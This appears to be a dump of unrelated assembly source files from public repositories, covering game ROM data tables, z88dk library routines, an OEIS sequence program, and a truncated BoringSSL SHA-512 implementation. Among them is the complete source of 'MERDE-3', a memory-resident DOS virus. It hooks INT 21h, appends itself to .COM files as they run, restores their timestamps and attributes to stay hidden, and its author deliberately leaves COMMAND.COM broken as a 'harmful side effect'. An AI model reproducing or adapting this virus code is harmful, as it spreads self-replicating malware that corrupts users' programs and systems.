org $30EA14 : RoomHeader_0126: ; pc 0x186A14
db $00, $07, $06, $28, $00, $00, $00, $FF, $FF, $FF, $FF, $FF, $FF, $FF
org $30EA22 : RoomHeader_0127: ; pc 0x186A22
db $00, $20, $06, $2A, $00, $00, $00, $00, $05, $03, $05, $00, $00, $00
org $30EA30 : RoomHeader_0128: ; pc 0x186A30
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
org $30EA3E : RoomHeader_0129: ; pc 0x186A3E
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
org $30EA4C : RoomHeader_012A: ; pc 0x186A4C
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
org $30EA5A : RoomHeader_012B: ; pc 0x186A5A
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
org $30EA68 : RoomHeader_012C: ; pc 0x186A68
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
org $30EA76 : RoomHeader_012D: ; pc 0x186A76
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
org $30EA84 : RoomHeader_012E: ; pc 0x186A84
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
;--------------------------------------------------------------------------------
; 0x186C00 - 187FFF (unused)
;--------------------------------------------------------------------------------
| 37.22449 | 141 | 0.518986 | [
"MIT"
] | tcprescott/z3randomizer | tables.asm | 98,496 | Assembly |
SECTION code_clib
SECTION code_fp_math48
PUBLIC logb
EXTERN cm48_sccz80_logb
defc logb = cm48_sccz80_logb
| 11 | 28 | 0.845455 | [
"BSD-2-Clause"
] | ByteProject/Puddle-BuildTools | FictionTools/z88dk/libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/logb.asm | 110 | Assembly |
; MERDE-3: A resident, non-overwriting .Com infector by the loki-nator
;Well, here it is, for what it's worth.. It is really kind of a
;piece of crap, but it is just a rough draft..
;NOTES:
; If this gets into Command.Com, it (command) won't work for unknown reasons..
; I could have fixed it by just checking to make sure the file it is infecting
; isn't command.com, but I decided that this would be it's harmful side effect
; and left it... I will have to fix several things in it, like its memory
; handling, etc... It only infects files when they are loaded for EXECUTION!
; it won't infect .com files loaded by debug via AX=4b03, or al=anything
; except 00.... Also, it hooks int 71 for its own type of multiplex
; interrupt to check if the resident portion is already installed..
; I don't know if that will get me in trouble or not. This is not very well
; tested, so it may hand under some circumstances or ill-behaved programs
; that mess with the memory (like I did)... Well, I need to add .exe
; infection, or I will be just a wanna-be virus writer!
; At this very moment, I will probably modify it for infection of any function
; that gives INT 21 a DS:DX pointer to a com file.
; Oh, yeah- If you compile it, you have to run the included Maker.bat file
; after you have compiled it (Use Tasm, but I guess anything will work.)
; Any GOOD virus writers out there will obviously notice how inefficient this
; is, so if you do, leave me mail with some pointers....
compare_val equ 900
interrupt equ 21h
Code_seg Segment Byte
Assume DS:Code_seg, CS:Code_seg
ORG 100h
start: mov di,0100h ;di=start
mov si,bx
add si,offset five_bytes-100h
mov cx,5
rep movsb
int 71h
cmp ax,9999h
jne okay
mov ax,0100h
xor si,si
xor si,di
xor cx,cx
jmp ax
okay: mov di,bx
sub di,100h
xor ax,ax
mov es,ax
mov ax,es:[interrupt*4]
mov bx,es:[interrupt*4+2]
mov [di+int_21_saveo],ax
mov [di+int_21_saves],bx
push cs
pop es
mov [di+orig_stackp],sp
cli
mov sp,di
add sp,offset my_stack
sti
push ax
push bx
push cx
push dx
push bp
push ds
push es
push si
push di
mov [di+my_stack_save],sp
cli
mov sp,[di+orig_stackp]
sti
int 12h
mov bx,cs
mov cx,1024
mul cx
clc
mov cx,400h
sub ax,cx
sbb dx,0000 ;dx:ax=where we want this mem to end!
mov [di+high_ram],dx
mov [di+low_ram],ax
here: mov cx,cs
mov ax,0010h
mul cx
clc
mov cx,di
add cx,offset ending
add ax,cx
adc dx,0000
clc
sub [di+low_ram],ax
sbb [di+high_ram],dx
clc
mov ax,[di+low_ram]
mov dx,[di+high_ram]
mov cx,0010h
div cx ;dx:ax=memory above this-divide it by 16
mov bx,ax
mov ah,4ah
int 21h
jnc okay_1
jmp get_out
okay_1: mov ah,48h
mov bx,60h
int 21h
mov [my_segment+di],ax
jnc okay_2
jmp get_out
okay_2: push di
xor di,di
xor si,si
mov es,ax
mov cx,100h
rep movsb
pop si
push si
add si,100h
mov cx,offset ending-100h
rep movsb
pop di
mov dx,es
sub dx,1
mov es,dx
mov es:[1],ax
mov byte ptr es:[0],'Z'
mov word ptr es:[3],0000
mov es,ax
mov es:[16h],ds
mov ax,offset return_to_file
add ax,di
mov es:[0ah],ax
mov es:[0ch],ds
mov ah,50h
mov bx,es
int 21h
mov dx,600h
mov ax,es
mov ds,ax
mov es,ax
push cs
pop ss
mov word ptr cs:[return_to_file+di+1],di
mov sp,600h
int 27h
return_to_file:
mov di,0000
xor ax,ax
mov es,ax
mov bx,offset my_21
mov ax,cs:[di+my_segment]
mov word ptr es:[interrupt*4],bx
mov word ptr es:[interrupt*4+2],ax
mov word ptr es:[71h*4+2],ax
mov bx,offset my_71
mov word ptr es:[71h*4],bx
mov ax,cs
cli
mov ss,ax
mov sp,cs:[my_stack_save+di]
sti
pop di
pop si
pop es
pop ds
pop bp
pop dx
pop cx
pop bx
pop ax
cli
mov sp,cs:[di+orig_stackp]
sti
mov ax,0100h
jmp ax
get_out:
mov ax,cs
cli
mov ss,ax
mov sp,cs:[di+my_stack_save]
sti
pop di
pop si
pop es
pop ds
pop bp
pop dx
pop cx
pop bx
pop ax
cli
mov sp,cs:[di+orig_stackp]
sti
mov ax,0100h
jmp ax
;------------------------------------------------------------------
my_21:
cmp ah,4bh
je continue_with_it
jmp continue_21
continue_with_it:
cmp al,00
je okay_go
jmp continue_21
okay_go:
push ax
push bx
push cx
push dx
push es
push di
push si
push bp
push es
push ds
check_file:
mov bx,dx
xor si,si
looper:
cmp byte ptr ds:[bx+si],'.'
je check_com
cmp si,35
jle okay5
jmp give_up1
okay5: inc si
jmp looper
check_com:
inc si
cmp byte ptr ds:[bx+si],'c'
je check_for_infection
cmp byte ptr ds:[bx+si],'C'
je check_for_infection
jmp give_up1
check_for_infection:
mov cs:[high_file],ds
mov cs:[low_file],dx
mov ah,50h ;set PSP to ours
push cs
pop bx
call dos_21
mov ah,43h
xor al,al
call dos_21
jnc okay9
jmp give_up
okay9: mov cs:[attrib],cx
mov ah,43h
mov al,1
xor cx,cx
call dos_21
mov ah,3dh
mov al,2
call dos_21
jnc okay10
jmp give_up
okay10: mov cs:[handle],ax
mov bx,ax
mov ah,57h
xor al,al
call dos_21
mov cs:[date],dx
mov cs:[time],cx
mov al,2
mov ah,42h
xor dx,dx
xor cx,cx
call dos_21
jnc okay11
jmp give_up
okay11: cmp dx,0
je okay12
jmp give_up
okay12: mov cs:[file_size],ax
cmp ax,64000
jb contin1
call reset_all
jmp give_up
contin1:
cmp ax,1024
jnb contin2
call reset_all
jmp give_up
contin2:
sub ax,compare_val
mov dx,ax
xor cx,cx
mov ah,42h
xor al,al
mov bx,cs:[handle]
call dos_21
mov ah,3fh
push cs
pop ds
mov dx,offset buffer
mov cx,2
call dos_21
mov ax,word ptr cs:[buffer]
mov bx,word ptr cs:[offset ending-compare_val]
cmp ax,bx
jne infect_it
call reset_all
jmp give_up
infect_it:
xor cx,cx
xor dx,dx
mov bx,cs:[handle]
mov ax,4200h
call dos_21
mov ah,3fh
mov cx,5
push cs
pop ds
mov dx,offset five_bytes
call dos_21
mov ax,4202h
xor cx,cx
xor dx,dx
call dos_21
mov ax,cs:[file_size]
add ax,100h
mov word ptr cs:[jumper+1],ax
mov ah,40h
mov cx,offset ending-100h
mov dx,0100h
call dos_21
xor cx,cx
xor dx,dx
mov ax,4200h
mov bx,cs:[handle]
call dos_21
mov dx,offset jumper
mov ah,40h
mov cx,5
call dos_21
call reset_all
give_up:
mov ah,50h
mov bx,cs:[high_file]
call dos_21
give_up1:
pop ds
pop es
pop bp
pop si
pop di
pop es
pop dx
pop cx
pop bx
pop ax
jmp continue_21
continue_21:
jmp dword ptr cs:[int_21_saveo]
dos_21:
pushf
call dword ptr cs:[int_21_saveo]
ret
reset_all:
mov bx,cs:[handle]
mov cx,cs:[time]
mov dx,cs:[date]
mov ax,5701h
call dos_21
mov ah,3eh
mov bx,cs:[handle]
call dos_21
mov ah,43h
mov al,1
mov cx,cs:[attrib]
mov ds,cs:[high_file]
mov dx,cs:[low_file]
call dos_21
ret
my_71:
mov ax,9999h
iret
dw 44 dup(00)
my_stack:
jumper: mov bx,0000
jmp bx
file_size dw 0000
high_file dw 0000
low_file dw 0000
handle dw 0000
attrib dw 0000
date dw 0000
time dw 0000
int_21_saveo dw 0000
int_21_saves dw 0000
orig_stackp dw 0000
my_stack_save dw 0000
high_ram dw 0000
low_ram dw 0000
my_segment dw 0000
buffer: db 10 dup(00)
five_bytes: db 0cdh,20h,90h,90h,90h
my_little_message_to_the_world:
db 'Scan me, I LIKE IT!!!!-Loki-nator!'
ending:
Code_seg ENDS
END start | 17.254321 | 79 | 0.701918 | [
"MIT"
] | 010001111/Family | MSDOS/Virus.MSDOS.Unknown.merde-3.asm | 6,988 | Assembly |
; A029016: Expansion of 1/((1-x)(1-x^2)(1-x^5)(1-x^12)).
; 1,1,2,2,3,4,5,6,7,8,10,11,14,15,18,20,23,26,29,32,36,39,44,47,53,57,63,68,74,80,87,93,101,107,116,123,133,141,151,160,171,181,193,203,216,227,241,253,268,281,297,311,328,343,361,377,396,413,433,451,473,492,515,535,559,581,606,629,655,679,707,732,762,788,819,847,879,909,942,973,1008,1040,1077,1110,1149,1184,1224,1261,1302,1341,1384,1424,1469,1510,1557,1600,1649,1694,1744,1791
lpb $0
mov $2,$0
sub $0,2
seq $2,25781 ; Expansion of 1/((1-x)(1-x^5)(1-x^12)).
add $1,$2
lpe
add $1,1
mov $0,$1
| 46.583333 | 379 | 0.663685 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/029/A029016.asm | 559 | Assembly |
CeladonMart4Object:
db $f ; border block
db $3 ; warps
db $1, $c, $0, CELADON_MART_3
db $1, $10, $1, CELADON_MART_5
db $1, $1, $0, CELADON_MART_ELEVATOR
db $1 ; signs
db $1, $e, $4 ; CeladonMart4Text4
db $3 ; objects
object SPRITE_MART_GUY, $5, $7, STAY, NONE, $1 ; person
object SPRITE_BLACK_HAIR_BOY_2, $f, $5, WALK, $2, $2 ; person
object SPRITE_BUG_CATCHER, $5, $2, WALK, $2, $3 ; person
; warp-to
EVENT_DISP CELADON_MART_4_WIDTH, $1, $c ; CELADON_MART_3
EVENT_DISP CELADON_MART_4_WIDTH, $1, $10 ; CELADON_MART_5
EVENT_DISP CELADON_MART_4_WIDTH, $1, $1 ; CELADON_MART_ELEVATOR
| 28.571429 | 64 | 0.693333 | [
"MIT"
] | ETDV-TheVoid/pokemon-rgb-enhanced | data/mapObjects/celadonmart4.asm | 600 | Assembly |
; ===============================================================
; Jan 2014
; ===============================================================
;
; int vsprintf(char *s, const char *format, void *arg)
;
; As vfprintf but output is directed to a string.
;
; ===============================================================
SECTION code_clib
SECTION code_stdio
PUBLIC asm_vsprintf
EXTERN STDIO_MSG_PUTC
EXTERN asm0_vfprintf_unlocked, asm_memset
asm_vsprintf:
; enter : de = char *format
; bc = void *stack_param = arg
; de' = char *s
;
; exit : de = char *format (next unexamined char)
; hl' = char *s (address of terminating '\0')
;
; success
;
; hl = number of chars output to string not including '\0'
; carry reset
;
; fail
;
; hl = - (chars output + 1) < 0
; carry set, errno set as below
;
; erange = width or precision out of range
; einval = unknown printf conversion
;
; note : High level stdio uses hl' to track number of chars
; written to the stream but modifies no other exx registers
;
; uses : all
; create a fake FILE structure on the stack
ld hl,0
push hl
ld hl,$8000 + (vsprintf_outchar / 256)
push hl
ld hl,195 + ((vsprintf_outchar % 256) * 256)
push hl
ld ix,0
add ix,sp ; ix = vsprintf_file *
; print to string
call asm0_vfprintf_unlocked
; repair stack
pop bc
pop bc
pop bc
; terminate string
exx
ex de,hl
ld (hl),0
exx
ret
vsprintf_outchar:
; vfprintf will generate two messages here
; STDIO_MSG_PUTC and STDIO_MSG_WRIT
cp STDIO_MSG_PUTC
jr z, _putc
_writ:
; de = char *s
; hl = length > 0
; hl' = void *buffer
; bc' = length > 0
push de
exx
pop de
ldir
push de
exx
pop de
or a
ret
_putc:
; de = char *s
; hl = number > 0
; e' = char
; bc' = number > 0
dec hl
ld a,h
or l
inc hl
jr nz, _putc_many
exx
ld a,e
exx
ld (de),a
inc de
ret
_putc_many:
push de
exx
pop hl
call asm_memset
push de
exx
pop de
ret
| 16.256944 | 72 | 0.487399 | [
"BSD-2-Clause"
] | ByteProject/Puddle-BuildTools | FictionTools/z88dk/libsrc/_DEVELOPMENT/stdio/z80/asm_vsprintf.asm | 2,341 | Assembly |
; ---------------------------------------------------------------------------
; Sprite mappings - explosion
; ---------------------------------------------------------------------------
dc.w byte_8EAE-Map_obj24, byte_8EB4-Map_obj24
dc.w byte_8EBA-Map_obj24, byte_8EC0-Map_obj24
byte_8EAE: dc.b 1
dc.b $F4, $A, 0, 0, $F4
byte_8EB4: dc.b 1
dc.b $F4, $A, 0, 9, $F4
byte_8EBA: dc.b 1
dc.b $F4, $A, 0, $12, $F4
byte_8EC0: dc.b 1
dc.b $F4, $A, 0, $1B, $F4
even | 33.428571 | 77 | 0.425214 | [
"Apache-2.0"
] | NatsumiFox/AMPS-Sonic-1-2005 | _maps/obj24.asm | 468 | Assembly |
; This file is generated from a similarly-named Perl script in the BoringSSL
; source tree. Do not edit by hand.
default rel
%define XMMWORD
%define YMMWORD
%define ZMMWORD
section .text code align=64
EXTERN GFp_ia32cap_P
global GFp_sha512_block_data_order
ALIGN 16
GFp_sha512_block_data_order:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_GFp_sha512_block_data_order:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
lea r11,[GFp_ia32cap_P]
mov r9d,DWORD[r11]
mov r10d,DWORD[4+r11]
mov r11d,DWORD[8+r11]
and r9d,1073741824
and r10d,268435968
or r10d,r9d
cmp r10d,1342177792
je NEAR $L$avx_shortcut
mov rax,rsp
push rbx
push rbp
push r12
push r13
push r14
push r15
shl rdx,4
sub rsp,16*8+4*8
lea rdx,[rdx*8+rsi]
and rsp,-64
mov QWORD[((128+0))+rsp],rdi
mov QWORD[((128+8))+rsp],rsi
mov QWORD[((128+16))+rsp],rdx
mov QWORD[152+rsp],rax
$L$prologue:
mov rax,QWORD[rdi]
mov rbx,QWORD[8+rdi]
mov rcx,QWORD[16+rdi]
mov rdx,QWORD[24+rdi]
mov r8,QWORD[32+rdi]
mov r9,QWORD[40+rdi]
mov r10,QWORD[48+rdi]
mov r11,QWORD[56+rdi]
jmp NEAR $L$loop
ALIGN 16
$L$loop:
mov rdi,rbx
lea rbp,[K512]
xor rdi,rcx
mov r12,QWORD[rsi]
mov r13,r8
mov r14,rax
bswap r12
ror r13,23
mov r15,r9
xor r13,r8
ror r14,5
xor r15,r10
mov QWORD[rsp],r12
xor r14,rax
and r15,r8
ror r13,4
add r12,r11
xor r15,r10
ror r14,6
xor r13,r8
add r12,r15
mov r15,rax
add r12,QWORD[rbp]
xor r14,rax
xor r15,rbx
ror r13,14
mov r11,rbx
and rdi,r15
ror r14,28
add r12,r13
xor r11,rdi
add rdx,r12
add r11,r12
lea rbp,[8+rbp]
add r11,r14
mov r12,QWORD[8+rsi]
mov r13,rdx
mov r14,r11
bswap r12
ror r13,23
mov rdi,r8
xor r13,rdx
ror r14,5
xor rdi,r9
mov QWORD[8+rsp],r12
xor r14,r11
and rdi,rdx
ror r13,4
add r12,r10
xor rdi,r9
ror r14,6
xor r13,rdx
add r12,rdi
mov rdi,r11
add r12,QWORD[rbp]
xor r14,r11
xor rdi,rax
ror r13,14
mov r10,rax
and r15,rdi
ror r14,28
add r12,r13
xor r10,r15
add rcx,r12
add r10,r12
lea rbp,[24+rbp]
add r10,r14
mov r12,QWORD[16+rsi]
mov r13,rcx
mov r14,r10
bswap r12
ror r13,23
mov r15,rdx
xor r13,rcx
ror r14,5
xor r15,r8
mov QWORD[16+rsp],r12
xor r14,r10
and r15,rcx
ror r13,4
add r12,r9
xor r15,r8
ror r14,6
xor r13,rcx
add r12,r15
mov r15,r10
add r12,QWORD[rbp]
xor r14,r10
xor r15,r11
ror r13,14
mov r9,r11
and rdi,r15
ror r14,28
add r12,r13
xor r9,rdi
add rbx,r12
add r9,r12
lea rbp,[8+rbp]
add r9,r14
mov r12,QWORD[24+rsi]
mov r13,rbx
mov r14,r9
bswap r12
ror r13,23
mov rdi,rcx
xor r13,rbx
ror r14,5
xor rdi,rdx
mov QWORD[24+rsp],r12
xor r14,r9
and rdi,rbx
ror r13,4
add r12,r8
xor rdi,rdx
ror r14,6
xor r13,rbx
add r12,rdi
mov rdi,r9
add r12,QWORD[rbp]
xor r14,r9
xor rdi,r10
ror r13,14
mov r8,r10
and r15,rdi
ror r14,28
add r12,r13
xor r8,r15
add rax,r12
add r8,r12
lea rbp,[24+rbp]
add r8,r14
mov r12,QWORD[32+rsi]
mov r13,rax
mov r14,r8
bswap r12
ror r13,23
mov r15,rbx
xor r13,rax
ror r14,5
xor r15,rcx
mov QWORD[32+rsp],r12
xor r14,r8
and r15,rax
ror r13,4
add r12,rdx
xor r15,rcx
ror r14,6
xor r13,rax
add r12,r15
mov r15,r8
add r12,QWORD[rbp]
xor r14,r8
xor r15,r9
ror r13,14
mov rdx,r9
and rdi,r15
ror r14,28
add r12,r13
xor rdx,rdi
add r11,r12
add rdx,r12
lea rbp,[8+rbp]
add rdx,r14
mov r12,QWORD[40+rsi]
mov r13,r11
mov r14,rdx
bswap r12
ror r13,23
mov rdi,rax
xor r13,r11
ror r14,5
xor rdi,rbx
mov QWORD[40+rsp],r12
xor r14,rdx
and rdi,r11
ror r13,4
add r12,rcx
xor rdi,rbx
ror r14,6
xor r13,r11
add r12,rdi
mov rdi,rdx
add r12,QWORD[rbp]
xor r14,rdx
xor rdi,r8
ror r13,14
mov rcx,r8
and r15,rdi
ror r14,28
add r12,r13
xor rcx,r15
add r10,r12
add rcx,r12
lea rbp,[24+rbp]
add rcx,r14
mov r12,QWORD[48+rsi]
mov r13,r10
mov r14,rcx
bswap r12
ror r13,23
mov r15,r11
xor r13,r10
ror r14,5
xor r15,rax
mov QWORD[48+rsp],r12
xor r14,rcx
and r15,r10
ror r13,4
add r12,rbx
xor r15,rax
ror r14,6
xor r13,r10
add r12,r15
mov r15,rcx
add r12,QWORD[rbp]
xor r14,rcx
xor r15,rdx
ror r13,14
mov rbx,rdx
and rdi,r15
ror r14,28
add r12,r13
xor rbx,rdi
add r9,r12
add rbx,r12
lea rbp,[8+rbp]
add rbx,r14
mov r12,QWORD[56+rsi]
mov r13,r9
mov r14,rbx
bswap r12
ror r13,23
mov rdi,r10
xor r13,r9
ror r14,5
xor rdi,r11
mov QWORD[56+rsp],r12
xor r14,rbx
and rdi,r9
ror r13,4
add r12,rax
xor rdi,r11
ror r14,6
xor r13,r9
add r12,rdi
mov rdi,rbx
add r12,QWORD[rbp]
xor r14,rbx
xor rdi,rcx
ror r13,14
mov rax,rcx
and r15,rdi
ror r14,28
add r12,r13
xor rax,r15
add r8,r12
add rax,r12
lea rbp,[24+rbp]
add rax,r14
mov r12,QWORD[64+rsi]
mov r13,r8
mov r14,rax
bswap r12
ror r13,23
mov r15,r9
xor r13,r8
ror r14,5
xor r15,r10
mov QWORD[64+rsp],r12
xor r14,rax
and r15,r8
ror r13,4
add r12,r11
xor r15,r10
ror r14,6
xor r13,r8
add r12,r15
mov r15,rax
add r12,QWORD[rbp]
xor r14,rax
xor r15,rbx
ror r13,14
mov r11,rbx
and rdi,r15
ror r14,28
add r12,r13
xor r11,rdi
add rdx,r12
add r11,r12
lea rbp,[8+rbp]
add r11,r14
mov r12,QWORD[72+rsi]
mov r13,rdx
mov r14,r11
bswap r12
ror r13,23
mov rdi,r8
xor r13,rdx
ror r14,5
xor rdi,r9
mov QWORD[72+rsp],r12
xor r14,r11
and rdi,rdx
ror r13,4
add r12,r10
xor rdi,r9
ror r14,6
xor r13,rdx
add r12,rdi
mov rdi,r11
add r12,QWORD[rbp]
xor r14,r11
xor rdi,rax
ror r13,14
mov r10,rax
and r15,rdi
ror r14,28
add r12,r13
xor r10,r15
add rcx,r12
add r10,r12
lea rbp,[24+rbp]
add r10,r14
mov r12,QWORD[80+rsi]
mov r13,rcx
mov r14,r10
bswap r12
ror r13,23
mov r15,rdx
xor r13,rcx
ror r14,5
xor r15,r8
mov QWORD[80+rsp],r12
xor r14,r10
and r15,rcx
ror r13,4
add r12,r9
xor r15,r8
ror r14,6
xor r13,rcx
add r12,r15
mov r15,r10
add r12,QWORD[rbp]
xor r14,r10
xor r15,r11
ror r13,14
mov r9,r11
and rdi,r15
ror r14,28
add r12,r13
xor r9,rdi
add rbx,r12
add r9,r12
lea rbp,[8+rbp]
add r9,r14
mov r12,QWORD[88+rsi]
mov r13,rbx
mov r14,r9
bswap r12
ror r13,23
mov rdi,rcx
xor r13,rbx
ror r14,5
xor rdi,rdx
mov QWORD[88+rsp],r12
xor r14,r9
and rdi,rbx
ror r13,4
add r12,r8
xor rdi,rdx
ror r14,6
xor r13,rbx
add r12,rdi
mov rdi,r9
add r12,QWORD[rbp]
xor r14,r9
xor rdi,r10
ror r13,14
mov r8,r10
and r15,rdi
ror r14,28
add r12,r13
xor r8,r15
add rax,r12
add r8,r12
lea rbp,[24+rbp]
add r8,r14
mov r12,QWORD[96+rsi]
mov r13,rax
mov r14,r8
bswap r12
ror r13,23
mov r15,rbx
xor r13,rax
ror r14,5
xor r15,rcx
mov QWORD[96+rsp],r12
xor r14,r8
and r15,rax
ror r13,4
add r12,rdx
xor r15,rcx
ror r14,6
xor r13,rax
add r12,r15
mov r15,r8
add r12,QWORD[rbp]
xor r14,r8
xor r15,r9
ror r13,14
mov rdx,r9
and rdi,r15
ror r14,28
add r12,r13
xor rdx,rdi
add r11,r12
add rdx,r12
lea rbp,[8+rbp]
add rdx,r14
mov r12,QWORD[104+rsi]
mov r13,r11
mov r14,rdx
bswap r12
ror r13,23
mov rdi,rax
xor r13,r11
ror r14,5
xor rdi,rbx
mov QWORD[104+rsp],r12
xor r14,rdx
and rdi,r11
ror r13,4
add r12,rcx
xor rdi,rbx
ror r14,6
xor r13,r11
add r12,rdi
mov rdi,rdx
add r12,QWORD[rbp]
xor r14,rdx
xor rdi,r8
ror r13,14
mov rcx,r8
and r15,rdi
ror r14,28
add r12,r13
xor rcx,r15
add r10,r12
add rcx,r12
lea rbp,[24+rbp]
add rcx,r14
mov r12,QWORD[112+rsi]
mov r13,r10
mov r14,rcx
bswap r12
ror r13,23
mov r15,r11
xor r13,r10
ror r14,5
xor r15,rax
mov QWORD[112+rsp],r12
xor r14,rcx
and r15,r10
ror r13,4
add r12,rbx
xor r15,rax
ror r14,6
xor r13,r10
add r12,r15
mov r15,rcx
add r12,QWORD[rbp]
xor r14,rcx
xor r15,rdx
ror r13,14
mov rbx,rdx
and rdi,r15
ror r14,28
add r12,r13
xor rbx,rdi
add r9,r12
add rbx,r12
lea rbp,[8+rbp]
add rbx,r14
mov r12,QWORD[120+rsi]
mov r13,r9
mov r14,rbx
bswap r12
ror r13,23
mov rdi,r10
xor r13,r9
ror r14,5
xor rdi,r11
mov QWORD[120+rsp],r12
xor r14,rbx
and rdi,r9
ror r13,4
add r12,rax
xor rdi,r11
ror r14,6
xor r13,r9
add r12,rdi
mov rdi,rbx
add r12,QWORD[rbp]
xor r14,rbx
xor rdi,rcx
ror r13,14
mov rax,rcx
and r15,rdi
ror r14,28
add r12,r13
xor rax,r15
add r8,r12
add rax,r12
lea rbp,[24+rbp]
jmp NEAR $L$rounds_16_xx
ALIGN 16
$L$rounds_16_xx:
mov r13,QWORD[8+rsp]
mov r15,QWORD[112+rsp]
mov r12,r13
ror r13,7
add rax,r14
mov r14,r15
ror r15,42
xor r13,r12
shr r12,7
ror r13,1
xor r15,r14
shr r14,6
ror r15,19
xor r12,r13
xor r15,r14
add r12,QWORD[72+rsp]
add r12,QWORD[rsp]
mov r13,r8
add r12,r15
mov r14,rax
ror r13,23
mov r15,r9
xor r13,r8
ror r14,5
xor r15,r10
mov QWORD[rsp],r12
xor r14,rax
and r15,r8
ror r13,4
add r12,r11
xor r15,r10
ror r14,6
xor r13,r8
add r12,r15
mov r15,rax
add r12,QWORD[rbp]
xor r14,rax
xor r15,rbx
ror r13,14
mov r11,rbx
and rdi,r15
ror r14,28
add r12,r13
xor r11,rdi
add rdx,r12
add r11,r12
lea rbp,[8+rbp]
mov r13,QWORD[16+rsp]
mov rdi,QWORD[120+rsp]
mov r12,r13
ror r13,7
add r11,r14
mov r14,rdi
ror rdi,42
xor r13,r12
shr r12,7
ror r13,1
xor rdi,r14
shr r14,6
ror rdi,19
xor r12,r13
xor rdi,r14
add r12,QWORD[80+rsp]
add r12,QWORD[8+rsp]
mov r13,rdx
add r12,rdi
mov r14,r11
ror r13,23
mov rdi,r8
xor r13,rdx
ror r14,5
xor rdi,r9
mov QWORD[8+rsp],r12
xor r14,r11
and rdi,rdx
ror r13,4
add r12,r10
xor rdi,r9
ror r14,6
xor r13,rdx
add r12,rdi
mov rdi,r11
add r12,QWORD[rbp]
xor r14,r11
xor rdi,rax
ror r13,14
mov r10,rax
and r15,rdi
ror r14,28
add r12,r13
xor r10,r15
add rcx,r12
add r10,r12
lea rbp,[24+rbp]
mov r13,QWORD[24+rsp]
mov r15,QWORD[rsp]
mov r12,r13
ror r13,7
add r10,r14
mov r14,r15
ror r15,42
xor r13,r12
shr r12,7
ror r13,1
xor r15,r14
shr r14,6
ror r15,19
xor r12,r13
xor r15,r14
add r12,QWORD[88+rsp]
add r12,QWORD[16+rsp]
mov r13,rcx
add r12,r15
mov r14,r10
ror r13,23
mov r15,rdx
xor r13,rcx
ror r14,5
xor r15,r8
mov QWORD[16+rsp],r12
xor r14,r10
and r15,rcx
ror r13,4
add r12,r9
xor r15,r8
ror r14,6
xor r13,rcx
add r12,r15
mov r15,r10
add r12,QWORD[rbp]
xor r14,r10
xor r15,r11
ror r13,14
mov r9,r11
and rdi,r15
ror r14,28
add r12,r13
xor r9,rdi
add rbx,r12
add r9,r12
lea rbp,[8+rbp]
mov r13,QWORD[32+rsp]
mov rdi,QWORD[8+rsp]
mov r12,r13
ror r13,7
add r9,r14
mov r14,rdi
ror rdi,42
xor r13,r12
shr r12,7
ror r13,1
xor rdi,r14
shr r14,6
ror rdi,19
xor r12,r13
xor rdi,r14
add r12,QWORD[96+rsp]
add r12,QWORD[24+rsp]
mov r13,rbx
add r12,rdi
mov r14,r9
ror r13,23
mov rdi,rcx
xor r13,rbx
ror r14,5
xor rdi,rdx
mov QWORD[24+rsp],r12
xor r14,r9
and rdi,rbx
ror r13,4
add r12,r8
xor rdi,rdx
ror r14,6
xor r13,rbx
add r12,rdi
mov rdi,r9
add r12,QWORD[rbp]
xor r14,r9
xor rdi,r10
ror r13,14
mov r8,r10
and r15,rdi
ror r14,28
add r12,r13
xor r8,r15
add rax,r12
add r8,r12
lea rbp,[24+rbp]
mov r13,QWORD[40+rsp]
mov r15,QWORD[16+rsp]
mov r12,r13
ror r13,7
add r8,r14
mov r14,r15
ror r15,42
xor r13,r12
shr r12,7
ror r13,1
xor r15,r14
shr r14,6
ror r15,19
xor r12,r13
xor r15,r14
add r12,QWORD[104+rsp]
add r12,QWORD[32+rsp]
mov r13,rax
add r12,r15
mov r14,r8
ror r13,23
mov r15,rbx
xor r13,rax
ror r14,5
xor r15,rcx
mov QWORD[32+rsp],r12
xor r14,r8
and r15,rax
ror r13,4
add r12,rdx
xor r15,rcx
ror r14,6
xor r13,rax
add r12,r15
mov r15,r8
add r12,QWORD[rbp]
xor r14,r8
xor r15,r9
ror r13,14
mov rdx,r9
and rdi,r15
ror r14,28
add r12,r13
xor rdx,rdi
add r11,r12
add rdx,r12
lea rbp,[8+rbp]
mov r13,QWORD[48+rsp]
mov rdi,QWORD[24+rsp]
mov r12,r13
ror r13,7
add rdx,r14
mov r14,rdi
ror rdi,42
xor r13,r12
shr r12,7
ror r13,1
xor rdi,r14
shr r14,6
ror rdi,19
xor r12,r13
xor rdi,r14
add r12,QWORD[112+rsp]
add r12,QWORD[40+rsp]
mov r13,r11
add r12,rdi
mov r14,rdx
ror r13,23
mov rdi,rax
xor r13,r11
ror r14,5
xor rdi,rbx
mov QWORD[40+rsp],r12
xor r14,rdx
and rdi,r11
ror r13,4
add r12,rcx
xor rdi,rbx
ror r14,6
xor r13,r11
add r12,rdi
mov rdi,rdx
add r12,QWORD[rbp]
xor r14,rdx
xor rdi,r8
ror r13,14
mov rcx,r8
and r15,rdi
ror r14,28
add r12,r13
xor rcx,r15
add r10,r12
add rcx,r12
lea rbp,[24+rbp]
mov r13,QWORD[56+rsp]
mov r15,QWORD[32+rsp]
mov r12,r13
ror r13,7
add rcx,r14
mov r14,r15
ror r15,42
xor r13,r12
shr r12,7
ror r13,1
xor r15,r14
shr r14,6
ror r15,19
xor r12,r13
xor r15,r14
add r12,QWORD[120+rsp]
add r12,QWORD[48+rsp]
mov r13,r10
add r12,r15
mov r14,rcx
ror r13,23
mov r15,r11
xor r13,r10
ror r14,5
xor r15,rax
mov QWORD[48+rsp],r12
xor r14,rcx
